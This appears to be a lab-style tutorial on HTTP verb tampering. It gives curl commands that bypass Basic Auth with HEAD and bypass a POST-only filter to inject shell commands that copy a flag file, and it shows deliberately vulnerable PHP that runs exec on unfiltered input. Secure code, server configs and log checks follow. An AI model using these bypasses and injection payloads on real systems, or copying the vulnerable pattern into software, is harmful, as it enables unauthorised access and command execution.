βοΈ Web Server Exploitation: Exploiting HTTP methods to bypass authentication and security controls
Overview
HTTP Verb Tampering attacks exploit web servers that accept many HTTP verbs and methods. These attacks can bypass web application authorization mechanisms or security controls by sending malicious requests using unexpected HTTP methods.
Attack Types:
Insecure Web Server Configurations - Bypass HTTP Basic Authentication
Insecure Application Coding - Bypass security filters and access controls
1. Bypassing Basic Authentication
Attack Scenario
Target: Web applications with HTTP Basic Authentication protecting admin functionality
# Enumerate supported methods
curl -i -X OPTIONS http://target.com/admin/reset.php
# Common response
HTTP/1.1 200 OK
Allow: POST,OPTIONS,HEAD,GET
# Original GET request (blocked)
curl -i http://target.com/admin/reset.php
# Response: 401 Unauthorized
# HEAD request bypass
curl -i -X HEAD http://target.com/admin/reset.php
# Response: 200 OK (empty body, but function executed)
# Test PUT method
curl -i -X PUT http://target.com/admin/reset.php
# Test DELETE method
curl -i -X DELETE http://target.com/admin/reset.php
# Test PATCH method
curl -i -X PATCH http://target.com/admin/reset.php
# Test OPTIONS method
curl -i -X OPTIONS http://target.com/admin/reset.php
GET /admin/reset.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0...
POST parameters β Security filter active (blocks injections)
GET parameters β Security filter bypassed (injections allowed)
# Try command injection with POST (should be blocked)
curl -X POST http://target.com/ -d "filename=test;id"
# Expected response: "Malicious Request Denied!"
# Test same payload with GET method
curl http://target.com/?filename=test;id
# May bypass filter if only POST is filtered
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
filename=test;
GET /?filename=test; HTTP/1.1
Host: target.com
# Payload: file1; touch file2;
# URL encoded: file1%3B%20touch%20file2%3B
# POST request (blocked by filter)
curl -X POST http://target.com/ -d "filename=file1%3B%20touch%20file2%3B"
# GET request (bypasses filter)
curl "http://target.com/?filename=file1%3B%20touch%20file2%3B"
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
filename=test;
GET /?filename=file1%3B%20touch%20file2%3B HTTP/1.1
Host: target.com
# Check the application
curl -i http://94.237.50.221:38391/
# Try accessing admin area (should prompt for auth)
curl -i http://94.237.50.221:38391/admin/reset.php
# Response: 401 Unauthorized
# Execute reset function with HEAD method
curl -i -X HEAD http://94.237.50.221:38391/admin/reset.php
# Response: 200 OK (empty body)
# Files should be deleted successfully
# Verify files are deleted
curl -i http://94.237.50.221:38391/
# Should show empty file manager
# Try malicious filename with POST (should be blocked)
curl -X POST http://94.237.57.115:43846/ -d "filename=test;"
# Expected: "Malicious Request Denied!"
# Convert POST to GET to bypass filter
curl "http://94.237.57.115:43846/?filename=test;"
# Should create file with special characters (no error)
# Use payload to copy flag file
curl "http://94.237.57.115:43846/?filename=file;%20cp%20/flag.txt%20./"
# URL decoded payload: file; cp /flag.txt ./
# Check if flag.txt was copied to web directory
curl http://94.237.57.115:43846/flag.txt
# Should display the flag content
GET # Default - usually protected
POST # Form submissions - usually protected
HEAD # Like GET but no body - often bypasses auth
PUT # Upload/update - may bypass filters
DELETE # Remove resources - may bypass restrictions
PATCH # Partial updates - often overlooked
OPTIONS # Method enumeration - usually allowed
TRACE # Debugging method - may reveal headers
CONNECT # Proxy method - rarely filtered
TRACK # Microsoft extension - may bypass
COPY # WebDAV method - may access resources
MOVE # WebDAV method - may modify resources
LOCK # WebDAV method - may control resources
<?php
// Vulnerable: Only checks authentication for GET
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Admin"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
}
// Dangerous: Function executes regardless of method
if (isset($_GET['action']) && $_GET['action'] == 'reset') {
unlink_all_files(); // Executes for HEAD, POST, etc.
}
?>
<?php
// Vulnerable: Security filter only checks POST parameters
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$filename = $_POST['filename'];
// Security filter for POST only
if (preg_match('/[;|&`$]/', $filename)) {
die("Malicious Request Denied!");
}
}
// Dangerous: GET parameters bypass security filter
if (isset($_GET['filename'])) {
$filename = $_GET['filename']; // No filtering!
// Command injection vulnerability
exec("touch uploads/" . $filename);
}
// Processing without method validation
if (isset($_POST['filename']) || isset($_GET['filename'])) {
$file = $_POST['filename'] ?? $_GET['filename'];
exec("touch uploads/" . $file); // Vulnerable to injection
}
?>
<?php
// Secure: Check authentication for all methods
function require_auth() {
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Admin"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
}
// Secure: Consistent input validation across all methods
function validate_filename($filename) {
// Block dangerous characters regardless of method
if (preg_match('/[;|&`$<>]/', $filename)) {
die("Invalid filename!");
}
// Whitelist approach
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
die("Filename contains invalid characters!");
}
return true;
}
// Check auth before any processing
require_auth();
// Secure: Get input from any method with validation
$filename = '';
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['filename'])) {
$filename = $_POST['filename'];
} elseif ($_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['filename'])) {
$filename = $_GET['filename'];
}
// Apply security filter regardless of HTTP method
if (!empty($filename)) {
validate_filename($filename);
// Safe file creation with sanitization
$safe_filename = basename($filename);
touch("uploads/" . $safe_filename);
}
?>
# Restrict HTTP methods globally
<Limit GET POST>
Require valid-user
</Limit>
# Block specific methods
<LimitExcept GET POST>
Require all denied
</LimitExcept>
# Limit allowed methods
if ($request_method !~ ^(GET|POST)$ ) {
return 405;
}
# Apply auth to all methods
location /admin/ {
auth_basic "Restricted Area";
auth_basic_user_file /etc/nginx/.htpasswd;
# Ensure auth applies to all methods
limit_except GET POST {
deny all;
}
}
<?php
// Define allowed methods for each endpoint
$allowed_methods = ['GET', 'POST'];
$current_method = $_SERVER['REQUEST_METHOD'];
if (!in_array($current_method, $allowed_methods)) {
header('HTTP/1.1 405 Method Not Allowed');
header('Allow: ' . implode(', ', $allowed_methods));
exit;
}
// Apply authentication to all allowed methods
require_authentication();
?>
# Monitor for unusual HTTP methods
grep -E "(HEAD|PUT|DELETE|PATCH|TRACE|OPTIONS)" /var/log/apache2/access.log
# Look for 200 responses to HEAD requests on admin paths
grep "HEAD.*admin.*200" /var/log/apache2/access.log
# Server response should include
Allow: GET, POST
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY